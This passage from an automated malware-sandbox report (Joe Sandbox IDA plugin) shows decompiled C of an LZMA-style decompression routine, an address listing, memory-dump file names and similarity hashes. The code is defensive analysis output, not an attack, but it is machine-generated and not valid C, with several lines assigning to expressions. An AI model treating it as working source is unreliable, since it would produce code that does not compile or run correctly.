														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406eaf
0x00406eaf
0x00406eb3
0x00406ec0
0x00406eca
0x00000000
0x00406eb5
0x00406eb5
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00406de9
0x00406dec
0x0040715e
0x0040715e
0x0040715e
0x00407161
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x004071af
0x004071b3
0x00407362
0x00407378
0x00407380
0x00407387
0x00407389
0x00407390
0x00407394
0x00407394
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x004071d4
0x004071d4
0x004071da
0x004071da
0x00406976
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x0040715e
0x0040715e
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b44
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00406b5b
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00000000
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x004071da
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x004071da
0x004071da
0x00000000
0x004071e0
0x004071da
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00000000
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x004071da
0x00407161
0x0040715e
0x00000000
0x00406eb3

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406DFB() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407395))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
